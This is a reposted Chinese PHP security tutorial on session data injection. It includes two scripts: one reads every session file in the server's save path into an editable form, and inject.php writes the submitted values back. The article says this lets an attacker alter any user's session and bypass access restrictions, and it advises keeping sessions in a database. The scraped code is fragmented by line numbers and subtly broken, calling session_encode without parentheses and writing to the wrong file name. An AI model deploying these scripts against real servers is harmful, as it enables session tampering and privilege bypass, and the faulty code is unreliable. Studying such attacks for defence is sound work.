您的位置:首页 > 编程语言 > PHP开发

PHP安全编程:会话数据注入 比会话劫持更强大的攻击(转)

2013-07-29 15:16 936 查看
一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:

01
<?php
02
03
session_start();
04
05
?>
06
07
<form action=
"inject.php"
method=
"POST"
>
08
09
<?php
10
11
$path
=
ini_get
(
'session.save_path'
);
12
$handle
=dir(
$path
);
13
14
while
(
$filename
=
$handle
->read())
15
{
16
if
(
substr
(
$filename
,0,5) ==
'sess_'
)
17
{
18
$sess_data
=
file_get_contents
(
"$path/$filename"
);
19
20
if
(!
empty
(
$sess_data
))
21
{
22
session_decode(
$sess_data
);
23
$sess_data
=
$_SESSION
;
24
$_SESSION
=
array
();
25
26
$sess_name
=
substr
(
$filename
,5);
27
$sess_name
=htmlentities(
$sess_name
,ENT_QUOTES,
'UTF-8'
);
28
echo
"<h1>Session [$sess_name]</h1>"
;
29
30
foreach
(
$sess_data
as
$name
=>
$value
)
31
{
32
$name
=htmlentities(
$name
,ENT_QUOTES,
'UTF-8'
);
33
$value
=htmlentities(
$value
,ENT_QUOTES,
'UTF-8'
);
34
echo
"<p>
35
$name
:
36
<input type=\"text\"
37
name=\"{
$sess_name
}[{
$name
}]\"
38
value=\"
$value
\" />
39
</p>";
40
}
41
42
echo
'<br />'
;
43
}
44
}
45
}
46
47
$handle
->close();
48
49
?>
50
51
<input type=
"submit"
/>
52
</form>
脚本inject.php执行由表单所指定的修改:

01
<?php
02
03
session_start();
04
05
$path
=
ini_get
(
'session.save_path'
);
06
07
foreach
(
$_POST
as
$sess_name
=>
$sess_data
)
08
{
09
$_SESSION
=
$sess_data
;
10
$sess_data
=session_encode;
11
12
file_put_contents
(
"$path/$sess_name"
,
$sess_data
);
13
}
14
15
$_SESSION
=
array
();
16
17
?>
此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。

针对这个问题的最好解决方案是将会话数据保存在数据库中。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: